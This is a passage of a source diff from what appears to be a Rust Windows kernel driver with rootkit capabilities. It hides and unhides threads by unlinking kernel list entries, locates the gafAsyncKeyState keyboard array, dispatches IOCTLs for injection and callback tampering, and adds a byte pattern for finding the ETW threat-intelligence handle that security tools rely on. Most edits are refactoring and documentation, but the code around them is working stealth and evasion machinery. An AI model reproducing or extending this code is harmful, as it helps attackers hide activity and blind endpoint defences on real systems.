+            ThreadListInfo, EnumerateInfoInput
+        }, 
+        vars::MAX_TIDS,
+        enums::Options,
     }, 
     wdk_sys::{
-        ntddk::{
+        ntddk::{ObfDereferenceObject, PsLookupThreadByThreadId}, 
-            ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx, 
-            ObfDereferenceObject, PsLookupThreadByThreadId
-        }, 
         NTSTATUS, PLIST_ENTRY, STATUS_INVALID_PARAMETER, STATUS_SUCCESS,
         STATUS_UNSUCCESSFUL, _LIST_ENTRY, PETHREAD, NT_SUCCESS
     }
@@ -37,9 +38,11 @@ impl Thread {
     /// Creates a new `Thread` instance by looking up a thread by its TID.
     ///
     /// # Parameters
+    /// 
     /// - `tid`: The process identifier (TID) to look up.
     ///
     /// # Returns
+    /// 
     /// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
     ///
     #[inline]
@@ -58,9 +61,11 @@ impl Thread {
     /// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
     ///
     /// # Parameters
+    /// 
     /// - `process`:  A pointer to the `TargetProcess` structure.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn thread_toggle(thread: *mut TargetThread) -> NTSTATUS {
@@ -96,42 +101,42 @@ impl Thread {
         let list_entry = thread.e_thread.cast::<u8>().offset(thread_list_entry) as PLIST_ENTRY;
         let push_lock = thread.e_thread.cast::<u8>().offset(thread_lock) as *mut u64;
 
-        ExAcquirePushLockExclusiveEx(push_lock, 0);
+        with_push_lock_exclusive(push_lock, || {
-
+            let next = (*list_entry).Flink; // Thread (3)
-        let next = (*list_entry).Flink; // Thread (3)
+            let previous = (*list_entry).Blink; // Thread (1)
-        let previous = (*list_entry).Blink; // Thread (1)
+            let list = LIST_ENTRY {
-        let list = LIST_ENTRY {
+                Flink: next as *mut LIST_ENTRY,
-            Flink: next as *mut LIST_ENTRY,
+                Blink: previous as *mut LIST_ENTRY,
-            Blink: previous as *mut LIST_ENTRY,
+            };
-        };
+    
-
+            let mut thread_info = THREAD_INFO_HIDE.lock();
-        let mut thread_info = THREAD_INFO_HIDE.lock();
+            let list_ptr = Box::into_raw(Box::new(list));
-        let list_ptr = Box::into_raw(Box::new(list));
+            log::info!("Stored list entry at: {:?}", list_ptr);
-        log::info!("Stored list entry at: {:?}", list_ptr);
+    
-
+            thread_info.push(HiddenThreadInfo {
-        thread_info.push(HiddenThreadInfo {
+                tid,
-            tid,
+                list_entry: AtomicPtr::new(list_ptr),
-            list_entry: AtomicPtr::new(list_ptr),
+            });
-        });
+    
-
+            (*next).Blink = previous;
-        (*next).Blink = previous;
+            (*previous).Flink = next;
-        (*previous).Flink = next;
+    
-
+            (*list_entry).Flink = list_entry;
-        (*list_entry).Flink = list_entry;
+            (*list_entry).Blink = list_entry;
-        (*list_entry).Blink = list_entry;
+    
-
+            log::info!("Thread with TID {tid} hidden successfully.");
-        ExReleasePushLockExclusiveEx(push_lock, 0);
+            STATUS_SUCCESS
-        log::info!("Thread with TID {tid} hidden successfully.");
+        })
-
-        STATUS_SUCCESS
     }
 
     /// Unhide a process by removing it from the list of active threads.
     ///
     /// # Parameters
+    /// 
     /// - `tid`: The identifier of the target process (TID) to be hidden.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     unsafe fn unhide_thread(target: *mut TargetThread) -> NTSTATUS {
@@ -151,43 +156,40 @@ impl Thread {
         let list_entry = thread.e_thread.cast::<u8>().offset(thread_list_entry) as PLIST_ENTRY;
         let push_lock = thread.e_thread.cast::<u8>().offset(thread_lock) as *mut u64;
 
-        ExAcquirePushLockExclusiveEx(push_lock, 0);
+        with_push_lock_exclusive(push_lock, || {
-        
+            let mut thread_info = THREAD_INFO_HIDE.lock();
-        // Restoring Flink / Blink
+            if let Some(index) = thread_info.iter().position(|p| p.tid == tid) {
-        let mut thread_info = THREAD_INFO_HIDE.lock();
+                let thread = &thread_info[index];
-        if let Some(index) = thread_info.iter().position(|p| p.tid == tid) {
+                let list = thread.list_entry.load(Ordering::SeqCst);
-            let thread = &thread_info[index];
+                if list.is_null() {
-            let list = thread.list_entry.load(Ordering::SeqCst);
+                    log::error!("List entry stored in AtomicPtr is null");
-            if list.is_null() {
+                    return STATUS_INVALID_PARAMETER;
-                log::error!("List entry stored in AtomicPtr is null");
+                }
-                return STATUS_INVALID_PARAMETER;
+    
+                (*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
+                (*list_entry).Blink = (*list).Blink as *mut _LIST_ENTRY;
+    
+                let next = (*list_entry).Flink; // Thread (3)
+                let previous = (*list_entry).Blink; // Thread (1)
+    
+                (*next).Blink = list_entry;
+                (*previous).Flink = list_entry;
+    
+                thread_info.remove(index);
+
+                log::info!("Thread with TID {tid} unhidden successfully.");
+                return STATUS_SUCCESS;
+            } else {
+                log::info!("TID ({tid}) Not found");
+                return STATUS_UNSUCCESSFUL;
             }
-
+        })
-            (*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
-            (*list_entry).Blink = (*list).Blink as *mut _LIST_ENTRY;
-
-            let next = (*list_entry).Flink; // Thread (3)
-            let previous = (*list_entry).Blink; // Thread (1)
-
-            (*next).Blink = list_entry;
-            (*previous).Flink = list_entry;
-
-            thread_info.remove(index);
-        } else {
-            log::info!("TID ({tid}) Not found");
-            ExReleasePushLockExclusiveEx(push_lock, 0);
-            return STATUS_UNSUCCESSFUL;
-        }
-
-        log::info!("Thread with TID {tid} unhidden successfully.");
-        ExReleasePushLockExclusiveEx(push_lock, 0);
-
-        STATUS_SUCCESS
     }
 
     /// Enumerates and hides threads by populating the provided `ThreadListInfo` structure with thread IDs.
     ///
     /// # Parameters
+    /// 
     /// - `info_process`: A pointer to the `ThreadListInfo` structure to be populated.
     /// - `information`: A mutable reference to a `usize` value that will be updated with the size of the populated data.
     ///
@@ -210,6 +212,7 @@ impl Thread {
     /// Enumerates threads and performs actions based on the specified options (hide or protection).
     ///
     /// # Parameters
+    /// 
     /// - `input_target`: A pointer to the `EnumerateInfoInput` structure containing the target options.
     /// - `info_process`: A pointer to the `ThreadListInfo` structure to be populated.
     /// - `information`: A mutable reference to a `usize` value that will be updated with the size of the populated data.

driver/src/utils/address.rs

@@ -11,9 +11,11 @@ use {
 /// Gets the base address of a specified module.
 ///
 /// # Parameters
+/// 
 /// - `module_name`: A string slice containing the name of the module.
 ///
 /// # Returns
+/// 
 /// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found.
 ///
 pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> {
@@ -58,10 +60,12 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void>
 /// Gets the address of a specified function within a module.
 ///
 /// # Parameters
+/// 
 /// - `function_name`: A string slice containing the name of the function.
 /// - `dll_base`: A pointer to the base address of the DLL.
 ///
 /// # Returns
+/// 
 /// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
 ///
 pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
@@ -88,10 +92,12 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
 /// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
 ///
 /// # Parameters
+/// 
 /// - `name`: A string slice containing the name `gafAsyncKeyState`.
 /// - `dll_base`: A pointer to the base address of the DLL.
 ///
 /// # Returns
+/// 
 /// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
 ///
 pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {

driver/src/utils/handles.rs

@@ -14,9 +14,11 @@ impl Handle {
     /// This function wraps a raw Windows `HANDLE` inside the `Handle` struct.
     ///
     /// # Parameters
+    /// 
     /// - `handle`: A raw Windows `HANDLE` to wrap.
     ///
     /// # Returns
+    /// 
     /// - `Handle`: A new `Handle` instance that wraps the given `HANDLE`.
     /// 
     #[inline]
@@ -30,6 +32,7 @@ impl Handle {
     /// stored in the `Handle` struct.
     ///
     /// # Returns
+    /// 
     /// - `HANDLE`: The raw Windows `HANDLE`.
     /// 
     #[inline]

driver/src/utils/ioctls.rs

@@ -23,11 +23,15 @@ use {
 /// an `NTSTATUS` result, indicating the success or failure of the operation.
 ///
 /// # Parameters
+/// 
 /// - `*mut IRP`: Pointer to an IRP (I/O Request Packet), which represents an I/O request in Windows.
 /// - `*mut IO_STACK_LOCATION`: Pointer to the current I/O stack location.
 /// 
+/// 
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating the success or failure of the operation.
+/// 
 pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
 
 lazy_static! {
@@ -41,6 +45,7 @@ lazy_static! {
 /// into a `HashMap`, which maps IOCTL codes (`u32`) to their respective handler functions (`IoctlHandler`).
 ///
 /// # Returns
+/// 
 /// - `HashMap<u32, IoctlHandler>`: A map containing IOCTL handlers for process, thread, driver,
 ///   callback, injection, miscellaneous, module, and port operations.
 ///   If the "mapper" feature is disabled, registry-related IOCTLs are also included.

driver/src/utils/macros.rs

@@ -78,7 +78,7 @@ macro_rules! handle_registry {
 #[macro_export]
 macro_rules! handle_callback {
     ($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
-        use shared::vars::Callbacks;
+        use shared::enums::Callbacks;
         use crate::callback::{callbacks::{notify_routine::Callback, registry::CallbackRegistry, object::CallbackOb}, CallbackList};
         use wdk_sys::STATUS_UNSUCCESSFUL;
 
@@ -116,7 +116,7 @@ macro_rules! handle_callback {
     }};
     
     ($irp:expr, $type_:ty, $ioctl:expr) => {{
-        use shared::vars::Callbacks;
+        use shared::enums::Callbacks;
         use crate::callback::{callbacks::{notify_routine::Callback, registry::CallbackRegistry, object::CallbackOb}, CallbackList};
         
         let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {

driver/src/utils/mod.rs

@@ -1,28 +1,43 @@
+use {
+    ntapi::{
+        ntldr::LDR_DATA_TABLE_ENTRY, 
+        ntpebteb::PEB, 
+        ntzwapi::ZwQuerySystemInformation,
+        ntexapi::{
+            SystemModuleInformation, 
+            SystemProcessInformation, 
+            PSYSTEM_PROCESS_INFORMATION
+        }, 
+    }, 
+    wdk_sys::{
+        *, ntddk::*, 
+        _FILE_INFORMATION_CLASS::FileStandardInformation,
+    }, 
+    winapi::um::winnt::{
+        IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
+        IMAGE_NT_HEADERS64
+    } 
+};
+
 use {
     obfstr::obfstr, 
     handles::Handle,
     pool::PoolMemory, 
     process_attach::ProcessAttach,
-    crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process}, 
+    alloc::{string::String, vec::Vec},
-    alloc::{string::String, vec::Vec}, 
     core::{
         ffi::{c_void, CStr}, 
         mem::{size_of, zeroed}, 
         ptr::{null_mut, read_unaligned}, 
         slice::from_raw_parts
-    }, 
+    },
-    ntapi::{
+    crate::{
-        ntexapi::{
+        internals::{
-            SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION
+            structs::SystemModuleInformation, 
+            externs::PsGetProcessPeb
         }, 
-        ntldr::LDR_DATA_TABLE_ENTRY, 
+        process::Process
-        ntpebteb::PEB, 
-        ntzwapi::ZwQuerySystemInformation
     }, 
-    wdk_sys::{
-        ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, *
-    }, 
-    winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64} 
 };
 
 #[cfg(not(test))]
@@ -48,9 +63,11 @@ pub mod process_attach;
 /// Retrieves the input buffer from the given IO stack location.
 ///
 /// # Parameters
+/// 
 /// - `stack`: A pointer to the `_IO_STACK_LOCATION` structure.
 ///
 /// # Returns
+/// 
 /// - `Result<*mut T, NTSTATUS>`: A result containing the pointer to the input buffer or an NTSTATUS error code.
 ///
 pub unsafe fn get_input_buffer<T>(stack: *mut _IO_STACK_LOCATION) -> Result<*mut T, NTSTATUS> {
@@ -66,9 +83,11 @@ pub unsafe fn get_input_buffer<T>(stack: *mut _IO_STACK_LOCATION) -> Result<*mut
 /// Retrieves the output buffer from the given IRP.
 ///
 /// # Parameters
+/// 
 /// - `irp`: A pointer to the `IRP` structure.
 ///
 /// # Returns
+/// 
 /// - `Result<*mut T, NTSTATUS>`: A result containing the pointer to the output buffer or an NTSTATUS error code.
 ///
 pub unsafe fn get_output_buffer<T>(irp: *mut IRP) -> Result<*mut T, NTSTATUS> {
@@ -84,9 +103,11 @@ pub unsafe fn get_output_buffer<T>(irp: *mut IRP) -> Result<*mut T, NTSTATUS> {
 /// Retrieves the PID of a process by its name.
 ///
 /// # Parameters
+/// 
 /// - `process_name`: A string slice containing the name of the process.
 ///
 /// # Returns
+/// 
 /// - `Option<usize>`: An optional containing the PID of the process, or None if the process is not found.
 ///
 pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
@@ -135,11 +156,13 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
 /// Retrieves the address of a specified function within a module in the context of a target process.
 ///
 /// # Parameters
+/// 
 /// - `pid`: The process ID (PID) of the target process.
 /// - `module_name`: The name of the module (DLL) to be searched for. The search is case-insensitive.
 /// - `function_name`: The name of the function within the module to be found.
 /// 
 /// # Returns
+/// 
 /// - `Option<*mut c_void>`: The address of the target function if found.
 /// 
 pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> {
@@ -207,9 +230,11 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
 /// Find for a thread with an alertable status.
 /// 
 /// # Parameters
+/// 
 /// - `target_pid`: PID that will fetch the tids.
 ///
 /// # Returns
+/// 
 /// - `Option<*mut _KTHREAD>`: The KTHREAD of the thread found, or `None` if an error occurs or the thread is not found.
 /// 
 pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> {
@@ -272,6 +297,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
 /// Initializes the OBJECT_ATTRIBUTES structure.
 ///
 /// # Parameters
+/// 
 /// - `object_name`: The name of the object (optional).
 /// - `attributes`: The attributes of the object.
 /// - `root_directory`: The root directory (optional).
@@ -279,6 +305,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
 /// - `security_quality_of_service`: The security quality of service (optional).
 ///
 /// # Returns
+/// 
 /// - `OBJECT_ATTRIBUTES`: The initialized OBJECT_ATTRIBUTES structure
 /// 
 #[allow(non_snake_case)]
@@ -302,9 +329,11 @@ pub fn InitializeObjectAttributes(
 /// Reads the content of a file given its path.
 ///
 /// # Parameters
+/// 
 /// - `path`: The path to the file.
 ///
 /// # Returns
+/// 
 /// - `Result<Vec<u8>, NTSTATUS>`: The content of the file as a vector of bytes if successful, or an NTSTATUS error code if an error occurs.
 /// 
 pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
@@ -345,11 +374,11 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
     let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() };
     status = unsafe { 
         ZwQueryInformationFile(
-        h_file.get(), 
+            h_file.get(), 
-        &mut io_status_block, 
+            &mut io_status_block, 
-        &mut file_info as *mut _ as *mut c_void, 
+            &mut file_info as *mut _ as *mut c_void, 
-        size_of::<FILE_STANDARD_INFORMATION>() as u32, 
+            size_of::<FILE_STANDARD_INFORMATION>() as u32, 
-        FileStandardInformation
+            FileStandardInformation
         )
     };
     if !NT_SUCCESS(status) {
@@ -385,6 +414,7 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
 /// Responsible for returning information on the modules loaded.
 ///
 /// # Returns
+///
 /// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList.
 /// 
 pub fn return_module() -> Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
@@ -411,16 +441,52 @@ pub fn return_module() -> Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
 /// Validates if the given address is within the kernel memory range.
 ///
 /// # Parameters
+///
 /// - `addr`: A 64-bit unsigned integer representing the address to validate.
 ///
 /// # Returns
-/// - `bool`: True if the address is within the kernel memory range, False otherwise.
 /// 
-#[allow(dead_code)]
+/// - `bool`: True if the address is within the kernel memory range, False otherwise.
+///
 pub fn valid_kernel_memory(addr: u64) -> bool {
     addr > 0x8000000000000000 && addr < 0xFFFFFFFFFFFFFFFF
 }
 
+/// Validates if the given address is within the user memory range.
+///
+/// # Parameters
+/// 
+/// - `addr`: A 64-bit unsigned integer representing the address to validate.
+///
+/// # Returns
+
+/// - `bool`: True if the address is within the user memory range, False otherwise.
+/// 
 pub fn valid_user_memory(addr: u64) -> bool {
     addr > 0 && addr < 0x7FFFFFFFFFFFFFFF
+}
+
+/// Generic function that performs the operation with the lock already acquired.
+/// It will acquire the lock exclusively and guarantee its release after use.
+///
+/// # Parameters
+/// 
+/// - `push_lock` - Pointer to the lock to be acquired.
+/// - `operation` - The operation to be performed while the lock is active.
+///
+pub fn with_push_lock_exclusive<T, F>(push_lock: *mut u64, operation: F) -> T
+where
+    F: FnOnce() -> T,
+{
+    unsafe {
+        ExAcquirePushLockExclusiveEx(push_lock, 0); // Get the lock exclusively
+    }
+
+    let result = operation(); // Performs the operation while the lock is active
+
+    unsafe {
+        ExReleasePushLockExclusiveEx(push_lock, 0); // Releases the lock after the operation
+    }
+
+    result // Returns the result of the operation
 }

driver/src/utils/offsets.rs

@@ -3,7 +3,8 @@ use wdk_sys::ntddk::MmGetSystemRoutineAddress;
 
 /// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `isize`: Returns the offset of the dynamically retrieved structure.
 ///
 pub unsafe fn get_offset_signature() -> isize {
@@ -22,7 +23,8 @@ pub unsafe fn get_offset_signature() -> isize {
 
 /// Gets the offset of the `UniqueProcessId` in the `EPROCESS` structure.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `isize`: Returns the offset of the dynamically retrieved structure.
 ///
 pub unsafe fn get_offset_unique_process_id() -> isize {
@@ -41,7 +43,8 @@ pub unsafe fn get_offset_unique_process_id() -> isize {
 
 /// Gets the offset of the `Token` in the `EPROCESS` structure.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `isize`: Returns the offset of the dynamically retrieved structure.
 ///
 pub unsafe fn get_offset_token() -> isize {
@@ -60,7 +63,8 @@ pub unsafe fn get_offset_token() -> isize {
 
 /// Gets the offset of the `RundownProtect` in the `ETHREAD` structure.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `isize`: Returns the offset of the dynamically retrieved structure.
 ///
 pub unsafe fn get_rundown_protect() -> isize {

driver/src/utils/patterns.rs

@@ -1,8 +1,8 @@
 use {
     obfstr::obfstr,
     super::{
-        address::get_module_base_address, 
         InitializeObjectAttributes,
+        address::get_module_base_address, 
     },
     core::{
         ffi::{c_void, CStr}, mem::{size_of, zeroed}, 
@@ -13,8 +13,9 @@ use {
             ZwClose, ZwMapViewOfSection, ZwOpenSection, 
             ZwUnmapViewOfSection
         }, 
-        LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ, 
+        LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, 
-        SECTION_QUERY, _SECTION_INHERIT::ViewUnmap, NT_SUCCESS
+        SECTION_MAP_READ, SECTION_QUERY, _SECTION_INHERIT::ViewUnmap, 
+        NT_SUCCESS
     },
     winapi::um::winnt::{
         IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, 
@@ -22,10 +23,45 @@ use {
     },
 };
 
+
+/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
+/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
+pub const ETWTI_PATTERN: [u8; 5]  = [
+    0x33, 0xD2,        // 33d2           xor  edx,edx
+    0x48, 0x8B, 0x0D  // 488b0dcd849300  mov  rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)]
+];
+
+/// The `ZW_PATTERN` represents a sequence of machine instructions used for
+/// identifying system service routines within the Windows kernel.
+pub static mut ZW_PATTERN: [u8; 30] = [
+    0x48, 0x8B, 0xC4,            // mov rax, rsp
+    0xFA,                        // cli
+    0x48, 0x83, 0xEC, 0x10,      // sub rsp, 10h
+    0x50,                        // push rax
+    0x9C,                        // pushfq
+    0x6A, 0x10,                  // push 10h
+    0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
+    0x50,                        // push rax
+    0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
+    0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
+];
+
+/// Converts a slice of bytes into a number or custom type using a provided conversion function.
 ///
+/// This function takes a byte slice of length `N`, verifies that its length matches the expected size,
+/// and then converts it into a fixed-size array of `N` bytes. The resulting array is passed to the
+/// provided conversion function (`func`), which returns a value of type `T`.
+///
+/// # Parameters
 /// 
+/// - `slice`: A reference to a byte slice (`&[u8]`) that is expected to have exactly `N` bytes.
+/// - `func`: A function that takes an array of `N` bytes (`[u8; N]`) and returns a value of type `T`.
+///
+/// # Returns
 /// 
-/// 
+/// - `Ok(T)`: The result of the conversion function if the slice has the correct length.
+/// - `Err(&'static str)`: An error message if the slice length does not match `N`.
+///
 fn slice_to_number<T, const N: usize>(slice: &[u8], func: fn([u8; N]) -> T) -> Result<T, &'static str> {
     if slice.len() != N {
         return Err("Slice length mismatch");
@@ -41,11 +77,13 @@ fn slice_to_number<T, const N: usize>(slice: &[u8], func: fn([u8; N]) -> T) -> R
 /// Scans memory for a specific pattern of bytes in a specific section.
 /// 
 /// # Parameters
+/// 
 /// - `base_addr`: The base address (in `usize` format) from which the scan should start.
 /// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
 /// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
 /// 
 /// # Returns
+/// 
 /// - `Option<*const u8>`: The address of the target function if found.
 /// 
 pub unsafe fn scan_for_pattern<T, const N: usize>(
@@ -76,9 +114,11 @@ where
 /// Finds the address of a specified Zw function.
 /// 
 /// # Parameters
+/// 
 /// - `name`: The name of the Zw function to find.
 ///
 /// # Returns
+/// 
 /// - `Option<usize>`: The address of the Zw function if found, or `None` if an error occurs or the function is not found.
 /// 
 pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
@@ -86,18 +126,8 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
     let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
 
     let ssn_bytes = ssn.to_le_bytes();
-    let pattern: [u8; 30] = [
+    ZW_PATTERN[21] = ssn_bytes[0];
-        0x48, 0x8B, 0xC4,            // mov rax, rsp
+    ZW_PATTERN[22] = ssn_bytes[1];
-        0xFA,                        // cli
-        0x48, 0x83, 0xEC, 0x10,      // sub rsp, 10h
-        0x50,                        // push rax
-        0x9C,                        // pushfq
-        0x6A, 0x10,                  // push 10h
-        0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
-        0x50,                        // push rax
-        0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
-        0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
-    ];
     
     let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
     let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
@@ -112,9 +142,9 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
             let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
             let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
 
-            if let Some(offset) = data.windows(pattern.len())
+            if let Some(offset) = data.windows(ZW_PATTERN.len())
                 .position(|window| {
-                    window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
+                    window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p)
                 }) {
                 
                 return Some(text_start + offset);
@@ -128,9 +158,11 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
 /// Retrieves the syscall index for a given function name.
 ///
 /// # Parameters
+/// 
 /// - `function_name`: The name of the function to retrieve the syscall index for.
 ///
 /// # Returns
+/// 
 /// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
 /// 
 pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {

driver/src/utils/pool.rs

@@ -19,11 +19,13 @@ impl PoolMemory {
     /// pool. It returns `None` if the allocation fails, or `Some(PoolMemory)` if successful.
     ///
     /// # Parameters
+    /// 
     /// - `flag`: Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`.
     /// - `number_of_bytes`: The size of the memory block to allocate, in bytes.
     /// - `tag`: A tag (typically a 4-character identifier) used to identify the allocation.
     ///
     /// # Returns
+    /// 
     /// - `Option<PoolMemory>`: `Some(PoolMemory)` if the memory is successfully allocated, or `None` if the allocation fails.
     ///
     #[inline]

driver/src/utils/process_attach.rs

@@ -24,9 +24,11 @@ impl ProcessAttach {
     /// the target process context.
     ///
     /// # Parameters
+    /// 
     /// - `target_process`: A pointer to the target process (`PRKPROCESS`) to attach to.
     ///
     /// # Returns
+    /// 
     /// - `ProcessAttach`: A new `ProcessAttach` instance representing the attached process context.
     ///
     #[inline]

driver/src/utils/uni.rs

@@ -1,20 +1,35 @@
 use alloc::vec::Vec;
 use wdk_sys::UNICODE_STRING;
 
-/// A wrapper around a Vec<u16> that represents a unicode string
+/// A wrapper around a `Vec<u16>` representing a Unicode string.
+///
+/// This struct encapsulates a Unicode string, stored as a `Vec<u16>`, that is compatible
+/// with the Windows kernel's `UNICODE_STRING` structure. It ensures that the string is properly
+/// null-terminated and provides a safe conversion method to a `UNICODE_STRING`.
 #[derive(Default)]
-pub(crate) struct OwnedUnicodeString {
+pub struct OwnedUnicodeString {
-    ///
+    /// The internal buffer holding the wide (UTF-16) string, including the null terminator.
     buffer: Vec<u16>,
-    ///
+    /// A marker to indicate that this struct cannot be moved once pinned.
+    /// This ensures that the memory address of the buffer remains valid for the lifetime of the
+    /// `UNICODE_STRING`.
     _phantompinned: core::marker::PhantomPinned,
 }
 
 impl OwnedUnicodeString {
-    /// Convert the OwnedUnicodeString to a UNICODE_STRING.
+    /// Converts the `OwnedUnicodeString` into a `UNICODE_STRING` that can be used in kernel APIs.
-    /// SAFETY: `self` must be pinned and remain valid for the lifetime of the UNICODE_STRING.
+    ///
-    pub(crate) fn to_unicode(&self) -> UNICODE_STRING {
+    /// This function creates a `UNICODE_STRING` structure from the internal buffer of the `OwnedUnicodeString`.
-        // Note: we subtract 2 from the length to account for the u16 null terminator, as the length field is the length of the string minus the null terminator.
+    /// It correctly calculates the length and maximum length fields of the `UNICODE_STRING`, which represent
+    /// the size of the string (in bytes) excluding and including the null terminator, respectively.
+    ///
+    /// # Returns
+    /// 
+    /// - A `UNICODE_STRING` pointing to the wide string stored in `buffer`.
+    /// 
+    pub fn to_unicode(&self) -> UNICODE_STRING {
+        // The length is the size of the string in bytes, excluding the null terminator.
+        // MaximumLength includes the null terminator.
         UNICODE_STRING {
             Length: ((self.buffer.len() * core::mem::size_of::<u16>()) - 2) as u16,
             MaximumLength: (self.buffer.len() * core::mem::size_of::<u16>()) as u16,
@@ -23,11 +38,21 @@ impl OwnedUnicodeString {
     }
 }
 
-/// Creates a new OwnedUnicodeString from a rust string. The string is converted to a wide string and null-terminated.
+/// Converts a Rust `&str` to an `OwnedUnicodeString`.
+///
+/// This function takes a Rust string slice, converts it to a wide string (UTF-16), and ensures it
+/// is properly null-terminated. The resulting wide string is stored in an `OwnedUnicodeString`,
+/// which can later be converted to a `UNICODE_STRING` for use in kernel APIs.
+///
+/// # Parameters
 /// 
+/// - `s`: A reference to the Rust string slice to be converted.
+///
+/// # Returns
 /// 
-/// 
+/// - `OwnedUnicodeString`: A structure containing the wide (UTF-16) representation of the input string.
-pub(crate) fn str_to_unicode(s: &str) -> OwnedUnicodeString {
+///
+pub fn str_to_unicode(s: &str) -> OwnedUnicodeString {
     // Convert the rust string to a wide string
     let mut wide_string: Vec<u16> = s.encode_utf16().collect();
     wide_string.push(0); // Null terminate the string